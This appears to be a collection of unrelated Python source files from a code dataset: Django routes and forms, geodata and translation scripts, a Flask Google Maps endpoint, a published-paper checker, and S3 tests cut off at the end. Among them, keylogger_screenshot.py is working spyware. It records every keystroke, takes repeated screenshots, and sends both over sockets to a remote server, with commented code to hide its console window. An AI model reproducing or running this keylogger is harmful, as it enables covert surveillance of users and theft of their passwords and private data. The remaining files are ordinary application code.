1)\n","sub_path":"src/mem/slicc/ast/DeferEnqueueingStatementAST.py","file_name":"DeferEnqueueingStatementAST.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"649396605","text":"#!/usr/bin/env ipython\n\n\"\"\"Basic example\n\nSets up a transformer that computes a result based on two inputs\nThe input and the transformation code is edited live in a GUI\n\"\"\"\n\nfrom seamless import context, cell, pythoncell, transformer\nfrom seamless.lib import edit, display\n\nctx = context()\n\n# Create 3 int cells: a=2, b=3, and result\nctx.a = cell(\"int\").set(2)\nctx.b = cell(\"int\").set(3)\nctx.result = cell(\"int\")\n\n# Set up a transformer that computes \"result\" as a function of \"a\" and \"b\"\nt = ctx.transform = transformer({\n \"a\": {\"pin\": \"input\", \"dtype\": \"int\"},\n \"b\": {\"pin\": \"input\", \"dtype\": \"int\"},\n \"result\": {\"pin\": \"output\", \"dtype\": \"int\"}\n})\n\n# Connect the cells to the transformer pins\nctx.a.connect(t.a)\nctx.b.connect(t.b)\nt.result.connect(ctx.result)\n\n# Every transformer has an implicit extra input pin, called \"code\"\n# It must be connected to a Python cell\nctx.formula = pythoncell().set(\"return a + b\")\nctx.formula.connect(t.code)\n\n# Transformers execute asynchronously; ctx.equilibrate() will wait until all\n# transformations have finished\nctx.equilibrate()\n\n# The result cell will now have been computed\nprint(ctx.result.value) # 5\n\n# Updating either input automatically recomputes the result\nctx.a.set(10)\nctx.b.set(20)\nctx.equilibrate()\nprint(ctx.result.value) # 30\n\n# Updating the code also automatically recomputes the result\nctx.formula.set(\"\"\"\ndef fibonacci(n):\n def fib(n):\n if n <= 1:\n return [1]\n elif n == 2:\n return [1, 1]\n else:\n fib0 = fib(n-1)\n return fib0 + [ fib0[-1] + fib0[-2] ]\n fib0 = fib(n)\n return fib0[-1]\nreturn fibonacci(a) + fibonacci(b)\n\"\"\")\nctx.equilibrate()\nprint(ctx.result.value) # 6820\n\n# The inputs and the result and code can be edited/shown in a GUI\n# This automatically recomputes the result\nctx.gui = context() # Create a subcontext to organize our cells better\nctx.gui.a = edit(ctx.a, \"Input a\")\nctx.gui.b = edit(ctx.b, \"Input b\")\nctx.gui.result = display(ctx.result, \"Result\")\n\n# Same for the code, this creates a text editor\n# In this case, the code is updated as soon as you press Ctrl+S or click \"Save\"\nctx.gui.formula = edit(ctx.formula, \"Transformer code\")\n\n# The source code of each editor is itself a seamless cell that can be edited\n# Editing its source code immediately changes the other window!\ntext_editor_code = ctx.gui.formula.rc.code_start.cell()\nctx.gui.text_editor = edit(text_editor_code, \"Text editor source code\")\n\n# The entire context can be saved in a file\nctx.tofile(\"basic.seamless\")\n\n# The context can later be loaded with:\n# ctx = seamless.fromfile(\"basic.seamless\")\n","sub_path":"OLD/examples/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"264101281","text":"\"\"\"sogeun URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom sgapp import views\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.signin, name=\"signin\"),\n path('home/', views.home, name=\"home\"),\n path('new', views.new, name=\"new\"),\n path('signup/', views.signup, name=\"signup\"),\n path('signout/', views.signout, name=\"signout\"),\n path('signin/', views.signin, name=\"signin\"),\n path('mypage/', views.mypage, name=\"mypage\"),\n path('change_pw/', views.change_pw, name=\"change_pw\"),\n path('', views.detail, name=\"detail\"),\n path('edit/', views.edit, name=\"edit\"),\n path('delete/', views.delete, name=\"delete\"),\n path('c_create/', views.c_create, name=\"c_create\"),\n path('search/', views.search, name=\"search\"),\n path('like/', views.like, name=\"like\"),\n path('unlike/', views.unlike, name=\"unlike\"),\n]\nurlpatterns+=static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"sogeun/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"103408022","text":"\"\"\" This function attributes a drainage network with drainage area values for each slope. \"\"\"\n\n#imports\nimport geopandas as gpd\nfrom rasterstats import zonal_stats\nimport os\n\n\ndef add_da(network, da, sref):\n \"\"\"\n This function attributes each reach of a drainage network with a value representing the\n contributing upstream drainage area.\n PARAMS\n :network: string - path to a drainage network shapefile\n :da: string - path to a drainage area raster\n :sref: dict - spatial reference for files of form {'init':'epsg:'}\n :return:\n \"\"\"\n\n # read in network and check for projection\n flowlines = gpd.read_file(network)\n if flowlines['geometry'].crs == sref:\n pass\n else:\n flowlines = flowlines.to_crs(sref)\n\n # list to store da values\n da_list = []\n\n # iterate through each network segment, obtain da value and add to list\n for i in flowlines.index:\n segment = flowlines.loc[i]\n\n # buffer segment to account for positional innacuracy between da raster and network\n seg_geom = segment['geometry']\n buf = seg_geom.buffer(30) # 30 m buffer can change this value\n\n zs = zonal_stats(buf, da, stats=\"count min mean max median\")\n da_value = zs[0].get('max')\n\n da_list.append(da_value)\n\n # add da values to network attribute table\n flowlines['Drain_Area'] = da_list\n flowlines.to_file(network)\n\n return\n\n\n","sub_path":"useful_functions/da_network_attribute.py","file_name":"da_network_attribute.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"241556276","text":"from googletrans import Translator\nfrom datetime import date\nimport os\nimport sys\n\n# 宣告Google翻譯object\nTrans = Translator()\n\nfilename = input('輸入紀錄名稱(若留白,預設以 \"年-月-日-流水號\" 命名):')\n\n# 若紀錄存在,讀取\nif(os.path.isfile('./record/'+filename)):\n fout = open('./record/'+filename,'a')\n\n# 若紀錄不存在,建立新檔案\nelse:\n if(filename == ''):\n # 以日期作為檔名\n today = date.today()\n filename = today.isoformat()\n # 流水號處理\n i = 1\n check_file = './record/'+filename+'-'+str(i)\n while(os.path.isfile(check_file)):\n i+=1\n check_file = './record/'+filename+'-'+str(i)\n # 檢查並建立record資料夾\n try:\n fout = open('./record/'+filename+'-'+str(i),'a')\n except:\n os.mkdir('./record')\n fout = open('./record/'+filename+'-'+str(i),'a')\n else:\n # 檢查並建立record資料夾\n try:\n fout = open('./record/'+filename,'a')\n except:\n os.mkdir('./record')\n fout = open('./record/'+filename,'a')\n\nprint('----------------')\nwhile True:\n try:\n data = input()\n except:\n break\n translated_data = Trans.translate(data,dest='zh-TW').text\n print(translated_data)\n print('----------------')\n if(data != translated_data):\n print(data, file = fout)\n print(translated_data, file = fout)\n print('----------------', file = fout)\nprint('recording as ' + './record/' + filename + ' ...')\nfout.close()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"618040784","text":"from flask import Blueprint, request, jsonify\nfrom flask_jwt_extended import (\n get_jwt_identity,\n jwt_required\n)\nimport requests\nimport os\n\ngooglemap_api_blueprint = Blueprint(\"googlemap_api\",\n __name__,\n template_folder=\"templates\")\n\n\n@googlemap_api_blueprint.route(\"/\",methods=[\"POST\"])\n@jwt_required\ndef serch():\n\n place = request.json.get('place', None)\n key=os.environ.get('GoogleAPI')\n\n # have to be raplaced with my key\n r = requests.get(f'https://maps.googleapis.com/maps/api/geocode/json?address={place}&key={key}')\n return r.text\n\n ","sub_path":"instagram_api/blueprints/googlemap/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403817529","text":"# coding:utf-8\n\nimport os\n\nif __name__ == \"__main__\":\n i = 0\n while i < 106:\n file_name = '000' + str(i).zfill(3) + '_0'\n dir_name = '/data/11084769/url_data/url_2018_1205_billion/'\n cmd1 = \"cat {0}|cut -f 1 >>{1}{0}\".format(file_name, dir_name)\n os.system(cmd1)\n i += 1\n","sub_path":"course_test/32_cut_file.py","file_name":"32_cut_file.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"285215381","text":"#!/usr/bin/env python3\n#-*- coding: utf-8 -*-\n\n# ********************************************************\n# Script validates if paper title was published or not.\n#\n# Handles rcading input file and checking against\n# Google to determine if previously published or not.\n# If able to process successfully will print results\n# to standard out.\n#\n# python3 pp.py [|\n#\n# input-file: XLS or CVS of papers' corresponding titles to search\n# title: individual paper title (string) to search on\n#\n# Example: python3 pp.py \"Curing Cancer with Bleach\"\n#\n# If successful exit code is 0\n# If fails exit code is > 0\n# ********************************************************\n\nimport requests\nimport io, os, sys, csv, time, calendar\nimport puremagic\nimport urllib.parse\nimport xlrd, mmap\nimport xlsxwriter as xs\nfrom bs4 import BeautifulSoup\nfrom fuzzywuzzy import fuzz\n\ndef err(s=None):\n \"\"\"\n Converts string to bytes & Outputs to stderr\n \"\"\"\n if not s:\n return\n s= s + \"\\n\"\n os.write(2, s.encode())\n\ndef is_valid_file(fname=None):\n if not fname:\n return False\n fname = fname.strip()\n return os.path.isfile(fname)\n\ndef search(paper_title=None):\n global SEARCH_URL\n global USER_AGENT\n results = []\n\n if not paper_title:\n return results\n\n # encode query string param before search\n params = {'q': paper_title}\n query = urllib.parse.urlencode(params, quote_via=urllib.parse.quote)\n url = SEARCH_URL + query\n #print(url)\n\n # desktop user-agent; expected by google in HTTP header\n headers = {\"user-agent\" : USER_AGENT}\n resp = requests.get(url, headers=headers)\n\n # check if valid response\n if resp.status_code != 200:\n err(\"Failed - unsuccessful response from Google status code: \" + str(resp.status_code))\n return results\n\n # parse HTTP response and pull out search results\n soup = BeautifulSoup(resp.content, \"html.parser\")\n\n for g in soup.find_all('div', class_='g'):\n anchors = g.find_all('a')\n spans = g.find_all('span', class_='st')\n if anchors and spans:\n link = anchors[0]['href']\n title = g.find('h3').text\n description = spans[0].text\n #print(\"Link \", link)\n #print(\"Title\", title)\n #print(\"Description\", description)\n item = {\n \"title\": title,\n \"link\": link,\n \"description\": description\n }\n results.append(item)\n return results\n\ndef is_filetype(filename=None, search_str=None):\n \"\"\"\n Applies magic byte (header) inspection to determine if of search file type.\n \"\"\"\n if not search_str:\n return False\n results = puremagic.magic_file(filename)\n for result in results:\n if search_str.lower() in result.name.lower():\n return True\n return False\n\ndef extract_xlsx(fname=None, search_hdrs=None):\n \"\"\"\n Reads file contents and returns a list of pairs including\n each manuscript id and corresponding manuscript title.\n \"\"\"\n results = []\n\n if fname is None or search_hdrs is None:\n err(\"Invalid CSV extraction for filename and column headers: \" + fname + \" \".join(search_hdrs))\n return results\n\n # extract corresponding data rows to columns for specific headers\n wb = xlrd.open_workbook(fname)\n ws = wb.sheet_by_index(0)\n\n # find index headers occur\n headers = []\n for i in range(len(ws.row(0))):\n if ws.row(0)[i].value in search_hdrs:\n item = {\n \"header\": ws.row(0)[i].value,\n \"index\": i\n }\n headers.append(item)\n\n # extract data after first row\n results = []\n for i in range(1, ws.nrows):\n result = {}\n for hdr in headers:\n #print(hdr.get(\"header\"))\n #print(ws.row(i)[hdr.get(\"index\")].value)\n item = {\n hdr.get(\"header\"): ws.row(i)[hdr.get(\"index\")].value\n }\n result.update(item)\n results.append(result)\n\n #print(results)\n return results\n\ndef extract_csv(fname=None, search_hdrs=None):\n '''\n Reads a CSV file and extracts all rows for column header names requested.\n Returns a list of dictionary with column name and corresponding row value in matrix\n '''\n results = []\n\n if fname is None or search_hdrs is None:\n err(\"Invalid CSV extraction for filename and column headers: \" + fname + \" \".join(search_hdrs))\n return results\n\n result = {}\n # extract corresponding data rows to columns for specific headers\n with open(fname, \"r\", encoding=\"utf-8-sig\") as f:\n reader = csv.DictReader(f)\n for line in reader:\n result = dict((k, line[k]) for k in search_hdrs if k in line)\n #print(result)\n results.append(result)\n\n return results\n\n# ----------------------------------------------------------------------\n# M A I N L O G I C\n# ----------------------------------------------------------------------\n\ndef main():\n global SEARCH_URL\n global USER_AGENT\n global FILE_SEARCH_HDRS\n global TITLE\n\n if len(sys.argv) < 2:\n err(\"Invalid input arguments: \" + sys.argv[0] + \" [|]\")\n sys.exit(1)\n\n search_records = []\n input = sys.argv[1]\n\n if is_valid_file(input):\n if input.endswith('.csv'):\n data = extract_csv(input, FILE_SEARCH_HDRS)\n elif input.endswith('.xlsx'):\n data = extract_xlsx(input, FILE_SEARCH_HDRS)\n else:\n err(\"Unsupport file type - cannot convert: \" + input)\n sys.exit(2)\n search_records = data\n else:\n # invalid file not exist - treat cmd line arg as title to search directly via Google\n item = {\n ID: \"NA\",\n AUTHORS: \"NA\",\n TYPE: \"NA\",\n TITLE: input\n }\n search_records.append(item)\n\n # search on title - only initial top 10 results from Google\n hdr_shown = False\n results = []\n\n # output results to XLSX file named current timestamp\n ts = calendar.timegm(time.gmtime())\n wb = xs.Workbook(\"paper-published-\" + str(ts) +\".xlsx\")\n ws = wb.add_worksheet()\n # Add a bold format to use to highlight cells.\n bold = wb.add_format({'bold': True})\n row = 0\n\n for rec in search_records:\n #print(\"Searching: \" + rec[ID] + \"-\" + rec[TITLE])\n results = search(rec[TITLE])\n time.sleep(THROTTLE_SECS) # avoid being blocked by google - rate limit calls\n\n # check direct or partial ratio match on title\n for result in results[0:1]:\n if rec[TITLE] in result[\"title\"] is False:\n continue\n\n direct = fuzz.ratio(rec[TITLE], result[\"title\"])\n partial = fuzz.partial_ratio(rec[TITLE], result[\"title\"])\n\n # output results\n if not hdr_shown:\n print(\"Paper ID,\", \"Paper Title,\", \"Search Title,\", \"Author, \", \"MS Type, \", \"Direct Match,\", \"Partial Match,\", \"Link, \", \"Description\")\n ws.write(row, 0, \"Paper ID\", bold)\n ws.write(row, 1, \"Paper Title\", bold)\n ws.write(row, 2, \"Search Title\", bold)\n ws.write(row, 3, \"Authors\", bold)\n ws.write(row, 4, \"MS Type\", bold)\n ws.write(row, 5, \"Direct Match\", bold)\n ws.write(row, 6, \"Partial Match\", bold)\n ws.write(row, 7, \"Link\", bold)\n ws.write(row, 8, \"Description\", bold)\n hdr_shown = True\n\n # ignore search results with poor mathes\n if partial < 60:\n continue\n\n print(\"%s,\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",\\\"%s\\\",%.2f,%.2f,%s,%s\" % (rec[ID], rec[TITLE], result[\"title\"], rec[AUTHORS], rec[TYPE], direct, partial, result[\"link\"], result[\"description\"]))\n\n row += 1\n ws.write(row, 0, rec[ID])\n ws.write(row, 1, rec[TITLE])\n ws.write(row, 2, result[\"title\"])\n ws.write(row, 3, rec[AUTHORS])\n ws.write(row, 4, rec[TYPE])\n ws.write(row, 5, direct)\n ws.write(row, 6, partial)\n ws.write_url(row, 7, result[\"link\"], string=result[\"link\"])\n ws.write(row, 8, result[\"description\"])\n\n wb.close()\n\n sys.exit(0)\n\n# ==========================\n# Global Variables\n# ==========================\nSEARCH_URL = \"https://google.com/search?\"\nUSER_AGENT = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0\"\nID = \"Manuscript ID\"\nTITLE = \"Manuscript Title\"\nAUTHORS =\"Author Names\"\nTYPE = \"Manuscript Type\"\nFILE_SEARCH_HDRS = [\n ID,\n TITLE,\n AUTHORS,\n TYPE\n]\nTHROTTLE_SECS = 1\n\nif __name__ == \"__main__\":\n main()\n sys.exit(0)\n","sub_path":"pp.py","file_name":"pp.py","file_ext":"py","file_size_in_byte":8788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599747213","text":"from django import forms\r\nfrom django.contrib.auth.forms import UserCreationForm\r\nfrom django.utils.translation import ugettext, ugettext_lazy as _\r\nfrom django.core.cache import cache\r\nfrom allauth.account.forms import LoginForm\r\n# from simplecaptcha import captcha, captchaform\r\nfrom captcha.fields import CaptchaField\r\nimport logging\r\nfrom .utils import (is_phone_number_valid, generate_new_phone_verification_code)\r\nfrom .models import UserInfo, Demand, econNews\r\n\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n\r\nclass MyLoginForm(LoginForm):\r\n # captcha = CaptchaField()\r\n def __init__(self, *args, **kwargs):\r\n super(MyLoginForm, self).__init__(*args, **kwargs)\r\n self.fields[\"captcha\"] = CaptchaField()\r\n\r\nclass MySignupForm(forms.Form):\r\n phonenumber = forms.CharField(label=_(\"Moible Number\"), max_length = 11)\r\n yanzhengma = forms.CharField(label=_(\"Mobile Verification Code\"), max_length=4)\r\n # captcha = CaptchaField(label=\"图形验证码\")\r\n\r\n\r\n def clean_phonenumber(self):\r\n phonenumber = self.cleaned_data['phonenumber']\r\n if not is_phone_number_valid(phonenumber):\r\n raise forms.ValidationError(_(\"Mobile Number Incorrect\"))\r\n return phonenumber\r\n\r\n def clean_yanzhengma(self):\r\n yanzhengma = self.cleaned_data['yanzhengma']\r\n if len(yanzhengma) != 4 or (not yanzhengma.isdigit()):\r\n raise forms.ValidationError(_(\"Error in mobile verification code format\"))\r\n return yanzhengma\r\n\r\n def clean(self):\r\n super(MySignupForm, self).clean()\r\n key = 'phone_reg_code'+str(self.cleaned_data.get('phonenumber'))\r\n code = cache.get(key)\r\n # logger.warning('key:'+key)\r\n # logger.warning('cleaned_data:'+str(self.cleaned_data))\r\n # logger.warning('code from cache:'+code)\r\n if code is None:\r\n raise forms.ValidationError(_(\"Verification code is None\"))\r\n if code != self.cleaned_data.get('yanzhengma'):\r\n raise forms.ValidationError(_(\"Mobile verification failed.\"))\r\n\r\n def signup(self, request, user):\r\n \"\"\" Required, or else it throws deprecation warnings \"\"\"\r\n user.profile = UserInfo.objects.create(user = user)\r\n user.profile.phonenumber = self.cleaned_data['phonenumber']\r\n user.profile.phone_is_verified = True\r\n user.profile.save()\r\n\r\n\r\nclass AjaxForm(forms.Form):\r\n captcha = CaptchaField()\r\n # def save(self):\r\n # pass\r\n","sub_path":"lstngsvc/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"504027900","text":"import pyHook\n#pyxhook = '/home/yash/***/pyxhook/pyxhook/pyxhook.py'\nimport pythoncom\nimport sys\nimport logging\nfrom threading import Thread\nimport socket\nimport os\n#sys.path.append(os.path.dirname(os.path.expanduser(pyxhook)))\n#import pyxhook\nimport pyautogui\nimport time\nimport win32gui, win32con\n\ndef keyboard():\n\tfile = 'output.txt'\n\tf = open(file, \"w+\")\n\n\tdef OnKeyboardEvent(event):\n\t logging.basicConfig(filename=file, level=logging.DEBUG, format='%(message)s')\n\t logging.log(10,chr(event.Ascii))\n\t return True\n\thooks_manager = pyHook.HookManager()\n #hooks_manager = pyxhook.HookManager()\n\thooks_manager.KeyDown = OnKeyboardEvent\n\thooks_manager.HookKeyboard()\n\tpythoncom.PumpMessages()\n\ndef sendKeyLog():\n\twhile True:\n\t\tclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tclient_socket.connect((\"xxx.xxx.xx.xx\", xxxx))\n\n\t\tclient_socket.send(\"txt\".encode())\n\n\t\ttxt = open('output.txt', 'rb')\n\t\twhile True:\n\t\t\tdata = txt.readline(4)\n\t\t\tif not data: \n\t\t\t\tbreak\n\t\t\tclient_socket.send(data)\n\t\t# print(\"log sent\")\n\t\ttxt.close()\n\t\tclient_socket.close()\n\t\ttime.sleep(10)\n\ndef screenshot():\n\ti = 1\n\twhile True:\n\t\tclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tclient_socket.connect((\"xxx.xxx.xx.xx\", xxxxx))\n\n\t\tclient_socket.send(\"png\".encode())\n\t\t\n\t\tscreenshot = pyautogui.screenshot()\n\t\tscreenshot.save('screenshot.png')\n\t\timage = open('screenshot.png', 'rb')\n\n\t\twhile True:\n\t\t data = image.readline(4096)\n\t\t if not data:\n\t\t \tbreak\n\t\t client_socket.send(data)\n\t\timage.close()\n\t\tclient_socket.close()\n\n\t\tos.remove('screenshot.png')\n\t\ttime.sleep(10)\n\t\ti+=1\n\texit()\n\nif __name__ == \"__main__\":\n # Hiding CMD\n\t# hide = win32gui.GetForegroundWindow()\n\t# win32gui.ShowWindow(hide , win32con.SW_HIDE)\n\n\tthread = Thread(target = keyboard)\n\tthread2 = Thread(target = screenshot)\n\tthread3 = Thread(target = sendKeyLog)\n\tthread.start()\n\tthread2.start()\n\tthread3.start()\n","sub_path":"Screenshot-Keylog/keylogger_screenshot.py","file_name":"keylogger_screenshot.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"33773222","text":"from copy import deepcopy\nimport random\nfrom commons import TAG2LABEL, LABEL2TAG, WORD2ID, ID2WORD\n\n\nclass DataManager(object):\n def __init__(self, data_file_path, word2id=WORD2ID, tag2label=TAG2LABEL):\n self.data_file_path = data_file_path\n self.word2id = word2id\n self.tag2label = tag2label\n self.length = None\n self.origin_data = self.build_data()\n self.pp_data = self.preprocess_data()\n\n def build_data(self):\n \"\"\"\n Build word and tag.\n :return:\n \"\"\"\n data = []\n sentence_words, sentence_tags = [], []\n with open(self.data_file_path) as r_file:\n for line in r_file:\n if line == '\\n':\n data.append((sentence_words, sentence_tags))\n sentence_words, sentence_tags = [], []\n else:\n word, tag = line.strip().split()\n sentence_words.append(word)\n sentence_tags.append(tag)\n if len(sentence_words):\n data.append((sentence_words, sentence_tags))\n return data\n\n def preprocess_data(self):\n \"\"\"\n Transfer word+tag to id+label.\n :return:\n \"\"\"\n data = []\n for (sentence_words, sentence_tags) in self.origin_data:\n sentence_ids = []\n sentence_labels = []\n for word in sentence_words:\n sentence_ids.append(self.word2id[word])\n for tag in sentence_tags:\n sentence_labels.append(self.tag2label[tag])\n data.append((sentence_ids, sentence_labels))\n return data\n\n def __iter__(self):\n batch_size = 20\n shuffle = True\n if shuffle:\n data = deepcopy(self.pp_data)\n random.shuffle(data)\n else:\n data = self.pp_data\n\n ids, labels = [], []\n for (sentence_ids, sentence_labels) in data:\n ids.append(sentence_ids)\n labels.append(sentence_labels)\n if len(ids) == batch_size:\n yield ids, labels\n ids, labels = [], []\n\n if len(ids):\n yield ids, labels\n\n def __len__(self):\n if self.length is None:\n self.length = 0\n for _ in self.origin_data:\n self.length += 1\n return self.length\n","sub_path":"slotsfilling/src/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"645988304","text":"import sys, os\nimport cherrypy\n\nfrom useless.base import daemon\n\n\ndef start_server(rootpage, configfile, appname, mainpath=None, pathname=None):\n if mainpath is None:\n mainpath = os.path.join('/usr/share', appname)\n if pathname is None:\n pathname = '%s_PATH' % appname.upper()\n if pathname in os.environ:\n top = os.environ[pathname]\n modpath = os.path.join(top, 'src')\n logfile = os.path.join(top, '%s.log' % appname)\n pidfile = os.path.join(top, '%s.pid' % appname)\n else:\n modpath = mainpath\n logfile = '/var/log/%s.log' % appname\n pidfile = '/var/run/%s.pid' % appname\n sys.path.append(modpath)\n varname = '%s_NODAEMON' % appname.upper()\n if varname not in os.environ:\n daemon.daemonize(stdout=logfile, pidfile=pidfile)\n cherrypy.root = rootpage()\n cherrypy.config.update(file=configfile)\n cherrypy.server.start()\n \n","sub_path":"branch/sqlgen2/useless/webframe/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"363753185","text":"import os\r\nimport re\r\nfrom time import sleep\r\n\r\nfrom pandas import DataFrame, read_csv\r\nimport pytest\r\nfrom hypothesis import given\r\nfrom hypothesis.strategies import integers, text, lists\r\n\r\nfrom ..grizly.drivers.frames_factory import QFrame\r\nfrom ..grizly.sources.filesystem.old_s3 import S3\r\nfrom ..grizly.sources.sources_factory import Source\r\nfrom ..grizly.utils.functions import get_path\r\nfrom ..grizly.config import config\r\n\r\n\r\ndef test_df_to_s3_and_s3_to_file():\r\n s3 = S3(file_name=\"testing_s3_class.csv\", s3_key=\"bulk/\")\r\n df = DataFrame({\"col1\": [1, 2], \"col2\": [3, 4]})\r\n s3.from_df(df, sep=\"\\t\")\r\n\r\n file_path = os.path.join(s3.file_dir, s3.file_name)\r\n\r\n s3.to_file()\r\n\r\n assert df.equals(read_csv(file_path, sep=\"\\t\"))\r\n os.remove(file_path)\r\n\r\n\r\ndef test_can_upload():\r\n s3 = S3(file_name=\"test_s3_2.csv\", s3_key=\"bulk/tests/\", min_time_window=2)\r\n df = DataFrame({\"col1\": [1, 2], \"col2\": [3, 4]})\r\n s3.from_df(df)\r\n\r\n assert not s3._can_upload()\r\n sleep(2)\r\n assert s3._can_upload()\r\n\r\n\r\ndef test_to_rds():\r\n import os\r\n\r\n # print(os.environ)\r\n\r\n dsn = get_path(\"grizly_dev\", \"tests\", \"Chinook.sqlite\")\r\n qf = QFrame(dsn=dsn, db=\"sqlite\", dialect=\"mysql\").from_table(table=\"Track\")\r\n\r\n qf.window(offset=100, limit=30, order_by=[\"TrackId\"])\r\n\r\n qf.assign(LikeIt=\"CASE WHEN GenreId = 5 THEN 1 ELSE 0 END\", dtype=\"INT\")\r\n qf.assign(SpareColumn=\"NULL\")\r\n\r\n qf.rename(\r\n {\r\n field: \"_\".join(re.findall(\"[A-Z][^A-Z]*\", alias)).lower()\r\n for field, alias in zip(qf.get_fields(aliased=False), qf.get_fields(aliased=True))\r\n }\r\n )\r\n\r\n s3_key = \"test/\"\r\n bucket = \"acoe-s3\"\r\n table_parquet = \"grizly_test_parquet\"\r\n table_csv = \"grizly_test_csv\"\r\n schema = \"sandbox\"\r\n path_csv = get_path(\"grizly_test.csv\")\r\n path_parquet = get_path(\"grizly_test.parquet\")\r\n\r\n s3_parquet = S3(\r\n file_name=os.path.basename(path_parquet),\r\n file_dir=os.path.dirname(path_parquet),\r\n s3_key=s3_key,\r\n bucket=bucket,\r\n )\r\n s3_csv = S3(\r\n file_name=os.path.basename(path_csv),\r\n file_dir=os.path.dirname(path_csv),\r\n s3_key=s3_key,\r\n bucket=bucket,\r\n )\r\n\r\n qf.to_parquet(path_parquet)\r\n s3_parquet.from_file(keep_file=False)\r\n s3_parquet.to_rds(dsn=\"redshift_acoe\", table=table_parquet, schema=schema, if_exists=\"replace\")\r\n qf_parquet = QFrame(dsn=\"redshift_acoe\").from_table(table=table_parquet, schema=schema)\r\n assert len(qf_parquet) == 30\r\n\r\n qf.to_csv(path_csv)\r\n s3_csv.from_file(keep_file=False)\r\n s3_csv.to_rds(dsn=\"redshift_acoe\", table=table_csv, schema=schema, if_exists=\"replace\")\r\n qf_csv = QFrame(dsn=\"redshift_acoe\").from_table(table=table_csv, schema=schema)\r\n assert len(qf_csv) == 30\r\n\r\n qf.to_parquet(path_parquet)\r\n s3_parquet.from_file(keep_file=False)\r\n s3_parquet.to_rds(dsn=\"redshift_acoe\", table=table_parquet, schema=schema, if_exists=\"append\")\r\n assert len(qf_parquet) == 60\r\n\r\n qf.rearrange(\r\n [\r\n \"composer\",\r\n \"milliseconds\",\r\n \"bytes\",\r\n \"unit_price\",\r\n \"like_it\",\r\n \"spare_column\",\r\n \"track_id\",\r\n \"name\",\r\n \"album_id\",\r\n \"media_type_id\",\r\n \"genre_id\",\r\n ]\r\n )\r\n qf.to_csv(path_csv)\r\n s3_csv.from_file(keep_file=False)\r\n s3_csv.to_rds(dsn=\"redshift_acoe\", table=table_csv, schema=schema, if_exists=\"append\")\r\n assert len(qf_csv) == 60\r\n\r\n qf_csv.distinct()\r\n assert len(qf_csv) == 30\r\n\r\n source = Source(dsn=\"redshift_acoe\")\r\n source.drop_table(table=table_parquet, schema=schema)\r\n source.drop_table(table=table_csv, schema=schema)\r\n\r\n\r\ndef test_to_aurora():\r\n\r\n dsn = get_path(\"grizly_dev\", \"tests\", \"Chinook.sqlite\")\r\n qf = QFrame(dsn=dsn, db=\"sqlite\", dialect=\"mysql\").from_table(table=\"Track\")\r\n\r\n qf.window(offset=100, limit=30, order_by=[\"TrackId\"])\r\n\r\n qf.assign(LikeIt=\"CASE WHEN GenreId = 5 THEN 1 ELSE 0 END\", custom_type=\"BOOL\")\r\n qf.assign(SpareColumn=\"NULL\")\r\n\r\n qf.rename(\r\n {\r\n field: \"_\".join(re.findall(\"[A-Z][^A-Z]*\", alias)).lower()\r\n for field, alias in zip(qf.get_fields(aliased=False), qf.get_fields(aliased=True))\r\n }\r\n )\r\n\r\n s3_key = \"test/\"\r\n bucket = \"acoe-s3\"\r\n table_csv = \"grizly_test_csv\"\r\n schema = \"sandbox\"\r\n path_csv = get_path(\"grizly_test.csv\")\r\n\r\n s3_csv = S3(\r\n file_name=os.path.basename(path_csv),\r\n file_dir=os.path.dirname(path_csv),\r\n s3_key=s3_key,\r\n bucket=bucket,\r\n )\r\n\r\n qf.to_csv(path_csv)\r\n s3_csv.from_file(keep_file=False)\r\n s3_csv.to_aurora(table=table_csv, schema=schema, dsn=\"aurora_db\", if_exists=\"replace\")\r\n qf_csv = 